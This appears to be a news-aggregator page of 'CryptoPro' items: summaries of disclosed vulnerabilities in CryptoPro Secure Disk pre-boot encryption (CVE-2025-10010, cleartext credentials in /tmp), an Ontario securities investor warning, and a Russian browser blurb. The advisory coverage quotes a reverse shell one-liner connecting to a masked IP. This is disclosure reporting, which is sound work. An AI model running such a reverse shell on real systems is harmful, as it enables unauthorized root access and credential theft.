Russia's CryptoPro Browser, developed by CryptoPro with FSB-approved encryption, aims to replace Chrome after the CryptoPro plugin's 2025 removal.

Curate Feeds | Make Collections | Customize Email Briefs

Curate Feeds | Make Collections | Customize Email Briefs

Curate Feeds | Make Collections | Customize Email Briefs

A security researcher discovered nine vulnerabilities impacting ATM encryption and authentication software, but the issues extend beyond ATMs to affect critical systems across industries. Matt Burch's research on CryptoPro Secure Disk, used in ATMs and other embedded devices, revealed flaws that could bypass integrity checks and grant full access to encrypted devices. CryptWare patched the vulnerabilities in two phases, but the broader challenge lies in the software supply chain. Developers must release patches, companies must implement tailored fixes, and customers must install updates, which is difficult for deployed systems. The case underscores the risks of relying on 'security through obscurity' and the need for transparency as AI tools make vulnerability detection easier. While some industries have improved patch adoption, niche security products remain under scrutiny. The incident highlights the complexity of addressing software flaws in a globally distributed supply chain, where delayed updates can leave systems vulnerable to exploitation.

Presentations 2026 GrrCON 2026 Presentations Two days. Four tracks. No egos. No divas. Just a good time and good content. Keynotes Thursday · OpeningGrrCON Awakening: Truth, Tactic, Talent - How Human...

The Ontario Securities Commission (OSC) is warning Ontario investors that the following companies are not registered to deal or advise in securities in Ontario: * Avlitex * BTT-Pro * EmeralTrade * ABT500 * JC Team Capital Inc. * Coinzp * CoinStats * Cross Trade Pro * Alterview Group * Gradepips * Easyplatform-ground.com dba CryptoPro * DDEX * Zenron Capital Limited At the OSC, we issue investor warnings and alerts about possible harmful or illegal activity in progress, and maintain a warning list of companies or individuals performing activities that may pose a risk to investors. A full list of OSC investor warnings and alerts is available on the OSC’s website. Investors can sign up for email notifications when new warnings and alerts are issued and can follow the OSC’s X feed at @OSC_News  Ontarians who have been approached by any of the individuals or firms listed above, or any other unregistered company or individual, are advised to contact the OSC Contact Centre at 1-877-785-1555 or via email at inquiries@osc.gov.on.ca Always check the registration of any person or business trying to sell you an investment or give you investment advice. This can be done by visiting the Check Before You Invest or the Registered crypto asset trading platforms pages on the OSC website. The mandate of the OSC is to provide protection to investors from unfair, improper or fraudulent practices, to foster fair, efficient and competitive capital markets and confidence in the capital markets, to foster capital formation, and to contribute to the stability of the financial system and the reduction of systemic risk. Investors are urged to check the registration of any persons or company offering an investment opportunity and to review the OSC investor materials available at https://www.osc.ca.

A researcher uncovered nine vulnerabilities in CryptWare CryptoPro Secure Disk, a pre-boot encryption tool used in enterprise environments and possibly within Diebold Nixdorf ATM security components. The findings suggest attackers could potentially bypass encryption, run arbitrary code during pre-boot, and steal cash through ATM jackpotting, though Diebold disputes the direct impact on its machines. #CryptWare #CryptoProSecureDisk #DieboldNixdorf #VynamicSecuritySuite #Ploutus

SEC Consult found two high-impact vulnerabilities in CryptoPro Secure Disk for BitLocker (<7.6.6/7.7.1). An attacker with physical access can bypass integrity checks to gain root access (CVE-2025-10010) and read sensitive network data stored in cleartext. Patches are available.

Multiple vulnerabilities have been discovered in CryptoPro Secure Disk (CPSD) for BitLocker, a widely used encryption solution. These flaws could allow an attacker with physical access to a device to gain persistent root access and steal sensitive credentials . The issues identified by security researchers at SEC Consult Vulnerability Lab highlight significant risks for organizations that rely on this software for data protection. CVE CVSS Details CVE-2025-10010 N/A Integrity bypass enables root code execution. N/A N/A Cleartext /tmp data exposes credentials. Integrity Validation Bypass The first vulnerability, designated as CVE-2025-10010, involves an integrity validation bypass. CryptoPro Secure Disk boots a minimal Linux operating system to authenticate users, then decrypts the Windows partition with BitLocker . This Linux system resides on an unencrypted partition, accessible to anyone who can physically reach the hard drive or boot the system from an external medium. While the system uses the Linux kernel’s Integrity Measurement Architecture (IMA) to verify files , researchers found that IMA does not validate certain configuration files. bash -c ‘exec bash -i &>/dev/tcp/192.168.XXX.XXX/9999 <&1' & By manipulating these files, an attacker can execute arbitrary code with root privileges . This could allow them to plant a backdoor and monitor or access data during execution without triggering any system errors. Product Vulnerable Versions Fixed Versions CPSD CryptoPro Secure Disk < 7.6.6 / < 7.7.1 7.6.6 / 7.7.1 ClearText Storage of Sensitive Data The second issue concerns the storage of sensitive data in clear text . When users forget their credentials, CryptoPro Secure Disk offers an online support feature that connects to a predefined network. According to SEC Consult , to facilitate this connection, the system stores necessary secrets, such as certificates and passwords, in cleartext within the temporary ‘/tmp’ folder. If an attacker has already gained access to the Linux environment , perhaps through the first vulnerability, they can easily read these files. Cleartext certificate credentials expose WLAN access and enable 802.1X bypass(source : sec-consult) This information could then be used to access internal networks or bypass network access controls, further compromising the organization’s infrastructure. The vendor, CPSD, was notified of these issues in June 2025 and has since provided patches. Versions 7.6.6 and 7.7.1 address the vulnerabilities. Organizations using CryptoPro Secure Disk should update their software immediately. If updating is not immediately possible, the vendor recommends encrypting the PBA partition, a feature available since version 7.6.0. Starting with version 7.7, this encryption is enabled by default, mitigating the risk of unauthorized file modifications. SEC Consult also advises organizations to conduct thorough security reviews of their encryption solutions to identify and address any other potential weaknesses. Follow us on  Google News ,  LinkedIn , and  X  to Get More Instant Updates ,  Set CSN as a Preferred Source in  Google . The post Multiple Vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker Allow Root Access and Credential Theft appeared first on Cyber Security News .

Google прекратит поддержку российских расширений для работы с электронной подписью (ЭП) в браузере Chrome до конца июня 2025 года. Под «нож» попадают ключевые плагины: «CryptoPro Extension for CAdES...

Posted by SEC Consult Vulnerability Lab via Fulldisclosure on Mar 12SEC Consult Vulnerability Lab Security Advisory < 20260224-0 > ======================================================================= title: Multiple vulnerabilities             product: CPSD CryptoPro Secure Disk for BitLocker  vulnerable version: 7.6.4.16432 (76212) fixed version: 7.6.6 / 7.7.1 CVE number: CVE-2025-10010              impact: high            homepage:...